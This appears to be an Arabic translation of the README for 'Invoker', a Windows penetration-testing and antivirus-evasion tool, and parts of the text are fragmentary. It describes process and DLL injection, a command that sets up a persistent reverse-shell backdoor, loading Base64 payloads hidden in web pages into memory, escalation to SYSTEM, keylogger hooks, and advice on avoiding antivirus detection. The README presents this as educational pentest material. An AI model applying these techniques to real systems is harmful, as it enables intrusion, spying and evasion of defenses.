
أداة اختبار الاختراق وتقييم مضادات الفيروسات.
أداة اختبار اختراق وتقييم مضاد للفيروسات.
مُبنية باستخدام Visual Studio Community 2022 v17.5.4 (64-bit) وتم اختبارها على نظام Windows 10 Enterprise (64-bit).
صُنعت لأغراض تعليمية. أتمنى أن تكون مفيدة!
هذا المستودع بدأت تظهر له توقيعات معروفة وليس لدي وقت لرفع ملفات تنفيذية جديدة في كل مرة، لذا يُفضل أن تقوم بتجميع هذا المشروع بنفسك.
مواقع مفيدة:
ما يجب فعله:
NtCreateProcessEx لا تعمل بشكل جيد مع العمليات 32-bit.خطط مستقبلية:
أشياء أراعيها أثناء البرمجة:
كل ما سبق سيؤدي إلى أن يكون حجم ملف PE أصغر ومعدل اكتشاف أقل.
الميزات:
تحقق من مكتبة Invoker هنا. لا تتردد في استخدامها!
بعض الميزات قد تتطلب صلاحيات إدارية.
بعض الميزات قد لا تعمل على Windows XP والإصدارات الأقدم بسبب بعض حقوق الوصول المحددة وأعلام التحكم المستخدمة.
قم بتشغيل Invoker_x86.exe (32-bit) أو Invoker_x64.exe (64-bit).
لأتمتة الباب الخلفي للشيل العكسي مع إضافة الاستمرارية، قم بتشغيل الأمر التالي:
Invoker_x64.exe 192.168.8.5:9000
Invoker 32-bit يمكنه:
Invoker 64-bit يمكنه:
لاحظ أن كل تقنية حقن لها مزاياها وعيوبها؛ على سبيل المثال، بعض التقنيات تتطلب حقوق وصول أقل، وتستخدم طرقًا أقل اشتباهًا، إلخ، ولكنها قد تسبب على سبيل المثال تعطل العملية، أو تحتاج بعض الوقت وظروف خاصة لتنفيذ الحمولة، إلخ.
لاحظ أن بعض أدوات C2C قد لا تعمل بعد تحرير الذاكرة. في هذه الحالة، قم بتعليق دوال مثل VirtualFreeEx, NtFreeVirtualMemory، إلخ.
ارفع الصلاحيات عن طريق حقن بايت كود في عملية ذات صلاحيات أعلى.
هذه الأداة يمكنها تنزيل محتوى ملف ثنائي في الذاكرة وحقنه في عملية قيد التشغيل. يمكنها أيضًا تحليل استجابة HTTP واستخراج الحمولة من عنصر مخصص، مثل من <invoker>payload</invoker> حيث payload هو كود ثنائي مشفر بـ Base64.
تحقق من المثال على pastebin.com/raw/xf9Trt0d.
هذا مفيد إذا كان مضاد الفيروسات يحذف باستمرار حمولاتك المحلية.
تحقق من مثال إضافي على pastebin.com/raw/iW17rCxH - حمولة مخبأة في عنصر الصورة.
ملاحظة: البايت كود المقدم غالبًا لن يعمل لديك.
استخدم ngrok لإعطاء خادم الويب المحلي عنوانًا عامًا.
لمعرفة ما إذا كانت العملية 32-bit أو 64-bit، افتح مدير المهام -> انقر على مزيد من التفاصيل -> اذهب إلى علامة التبويب التفاصيل -> انقر بزر الماوس الأيمن على أي عمود -> انقر على تحديد الأعمدة -> حدد خانة المنصة.
لمعرفة ما إذا كانت العملية تعمل بصلاحيات إدارية، حدد خانة مرتفعة.
تعرف على كيفية إنشاء حمولة شيل عكسي من مشروعي الآخر هنا، بالإضافة إلى كيفية إعداد مستمعي Ncat و multi/handler.
قد يفشل حقن البايت كود لأن البايت كود قد يحتوي على أحرف سيئة، أو دالة خروج خاطئة، أو ترميز خاطئ؛ حقن DLL أكثر موثوقية.
إذا كنت ترغب في تشغيل شيل عكسي أو رباط باستخدام PowerShell من Invoker، افتح Invoker وابدأ جلسة PowerShell، ثم قم بتشغيل أي من الأوامر الأحادية السطر (من مشروعي الآخر).
مكتبة استدعاءات النظام المباشرة والتجميع (assembly) تم توليدها باستخدام SysWhispers2. الشكر للمؤلف!
لتوليد نفس المكتبة والتجميع، قم بتشغيل الأمر التالي من وحدة التحكم المفضلة لديك:
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls
تحقق من الغلاف الخاص بي حول المكتبة والتجميع هنا. لا تتردد في استخدامه!
تحقق من DLL البسيط مع إجراء ربط هنا. سيؤدي إجراء الربط إلى استدعاء مربع رسالة عند كل إغلاق نافذة.
تحقق من إجراء ربط لوحة المفاتيح (أي مسجل ضغطات المفاتيح) هنا.
تحقق من إجراء ربط الفأرة الذي سيشغل عملية جديدة عند أول نقرة بالماوس هنا.
لا تنس إزالة جميع الآثار التي تم إنشاؤها بعد الانتهاء من الاختبار، مثل إزالة keylogger.log، إلخ.
اتبع هذه الخطوات البسيطة:
whoami، يجب أن ترى الآن nt authority\system.
الشكل 1 - Invoker

الشكل 2 - حقن البايت كود

الشكل 3 - صلاحيات مرتفعة